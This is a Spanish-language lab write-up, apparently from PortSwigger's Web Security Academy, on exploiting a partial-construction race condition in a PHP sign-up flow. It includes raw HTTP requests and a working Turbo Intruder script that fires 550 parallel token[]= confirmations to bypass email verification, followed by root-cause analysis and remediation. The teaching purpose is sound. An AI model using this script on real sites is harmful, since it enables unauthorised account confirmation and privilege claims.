Partial construction race conditions
Explotación de una race condition de construcción parcial: entre la inserción del usuario y la asignación de su token de confirmación existe un null que se puede capturar enviando /confirm?token[]= en paralelo al registro.
Target Overview & Vulnerability Summary
El registro de usuarios construye la cuenta en múltiples pasos: primero inserta el usuario y después asigna su token de confirmación. Entre ambas consultas existe una ventana donde el token es null. La aplicación PHP recibe token[]= como un array (comportamiento de parámetros PHP) que serializa a un array vacío, colisionando con el valor null temporal del registro recién creado. Enviando POST /confirm?token[]= en paralelo al POST /register (con sesiones distintas para eludir el session lock de PHP), la confirmación se completa en el estado intermedio.
| Campo | Valor |
|---|---|
| Severidad | Alta (confirmación de cuenta ajena / registro con email corporativo sin verificación) |
| Endpoint vulnerable | POST /register + POST /confirm?token[]= |
| Root cause | Construcción de objetos en múltiples pasos sin transacción + serialización PHP de token[] a array/null colisionando con el estado intermedio |
Technical Breakdown & Exploitation Flow
1. Reconocimiento del registro
La app solicita un email del dominio @ginandjuice.shop:
If you work for GinAndJuice, please use your @ginandjuice.shop email address
Con wiener@ginandjuice.shop (que no controlamos) la respuesta es Please check your emails for your account registration link; con un email arbitrario, Invalid email address. La cookie phpsessionid confirma backend PHP.
2. Revisión del código cliente
<input required type="hidden" name="csrf" value="zQpjIZLjqGKeOcuhZF6aolKGziZnp88X">
<script src='/resources/static/users.js'></script>
<script>createRegistrationForm()</script>
El formulario de registro se crea dinámicamente; la función confirmEmail construye el form de confirmación con el token extraído de la URL:
const confirmEmail = () => {
const container = document.getElementsByClassName('confirmation')[0];
const parts = window.location.href.split("?");
const query = parts.length == 2 ? parts[1] : "";
const action = query.includes('token') ? query : "";
const form = document.createElement('form');
form.method = 'POST';
form.action = '/confirm?' + action;
const button = document.createElement('button');
button.className = 'button';
button.type = 'submit';
button.textContent = 'Confirm';
form.appendChild(button);
container.appendChild(form);
}
La ruta /confirm exige el parámetro token: "Missing parameter: token". Con un token incorrecto responde "Incorrect token: as" (probado con /confirm?token=as). Con ?token= devuelve Forbidden.
3. Comportamiento de parámetros en PHP
En PHP, los parámetros con [] se convierten en arrays:
param[]=foo # param = ['foo']
param[]=foo¶m[]=bar # param = ['foo', 'bar']
param[] # param = []
Enviando /confirm?token[]= la respuesta es:
"Incorrect token: Array"
El backend compara el array (o su representación) contra el token esperado. La clave es que durante la construcción parcial del usuario, el token en base de datos es null, y token[]= (array vacío en PHP) puede colisionar con ese valor null si la comparación se hace con coerción de tipos (comparaciones laxas en PHP: [] == null).
4. Benchmark: secuencial vs paralelo
Envío secuencial con conexiones separadas (funcionamiento normal) — diferencia ~159 ms:
POST /register HTTP/2
Host: 0a0400eb036299fa80aabcff009600b6.web-security-academy.net
csrf=qJHYDTrQR0u1DiXk1D93XC1Qmlw8poe8&username=1&email=1%40ginandjuice.shop&password=1
POST /confirm?token= HTTP/2
Host: 0a0400eb036299fa80aabcff009600b6.web-security-academy.net
Envío en paralelo — diferencia ~60 ms (el cálculo real confirma la concurrencia):
POST /register HTTP/2
Host: 0a0400eb036299fa80aabcff009600b6.web-security-academy.net
csrf=qJHYDTrQR0u1DiXk1D93XC1Qmlw8poe8&username=1&email=1%40ginandjuice.shop&password=1
POST /confirm?token= HTTP/2
Host: 0a0400eb036299fa80aabcff009600b6.web-security-academy.net
5. Exploit con Turbo Intruder (gates)
Se agrupan un registro y una ráfaga de confirmaciones en el mismo gate para que se envíen simultáneamente; cada intento usa un nombre de usuario distinto para que la confirmación capture el registro recién insertado en su estado intermedio (token null):
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0ac900df03be85ba832ad71b00ba0029.web-security-academy.net
Cookie: phpsessionid=wjWFY8fCnbw5kpFxUIGeaE1XiSAYQCnu
Content-Length: 0
'''
for attempt in range(20):
q = str(attempt)
username = 'uusseerrnnaammeee' + q
# una única request de registro
engine.queue(target.req, username, gate=attempt)
# 550 confirmaciones simultáneas: suben la probabilidad de
# capturar el estado intermedio (token == null) del registro
for i in range(550):
engine.queue(confirmationReq, gate=attempt)
# abre el gate: todas las requests salen a la vez
engine.openGate(attempt)
def handleResponse(req, interesting):
table.add(req)
Nota: 550 confirmaciones pueden repartirse en más de un paquete; aumentar el número mejora la probabilidad de capturar la ventana, con el trade-off de cargar el servidor.
Flujo de explotación:
- Session lock de PHP: usar una sesión distinta para el registro y para las confirmaciones, de modo que ambas se procesen concurrentemente.
- El registro inserta el usuario (estado intermedio: token
null). - Una de las requests
POST /confirm?token[]=se procesa en esa ventana:token[](array vacío) colisiona con elnulldel registro y confirma la cuenta. - La cuenta queda confirmada sin poseer el correo corporativo, reclamando luego el rol/privilegio asociado al email.
Root Cause Analysis
Dos condiciones:
- Construcción parcial no transaccional: la cuenta se inserta en pasos separados (
INSERT usuario→INSERT/UPDATE token); entre ambos el registro es visible contoken = NULL. Cualquier lector concurrente observa el objeto a medio construir. - Colisión de tipos PHP: la serialización de
token[]=a array vacío se compara de forma laxa con elnulldel estado intermedio. El framework no valida el tipo ni la existencia de un token antes de confirmar.
El fallo de fondo es diseñar invariantes de negocio (cuenta sin confirmar) que dependen de un estado de base de datos que los lectores concurrentes pueden observar en un punto intermedio inválido.
Secure Remediation
- Construir el registro y su token en una única transacción atómica, de modo que la cuenta nunca sea observable sin token:
BEGIN;
INSERT INTO users (username, email, password) VALUES (..., ...);
INSERT INTO confirmation_tokens (user_id, token, used) VALUES (LAST_INSERT_ID(), :token, FALSE);
COMMIT;
- Validar estrictamente el parámetro
tokenen/confirm: exigir un string no vacío de longitud/tipo esperado y rechazar arrays (is_stringy formato de hash), evitando colisiones de tipo. - Verificar la confirmación contra el token real del usuario con comparación estricta (
===) y marcar el token como usado atómicamente. - Eludir el session lock no debería exponer estado: si cada operación de confirmación requiere un token válido, la concurrencia no cambia el resultado.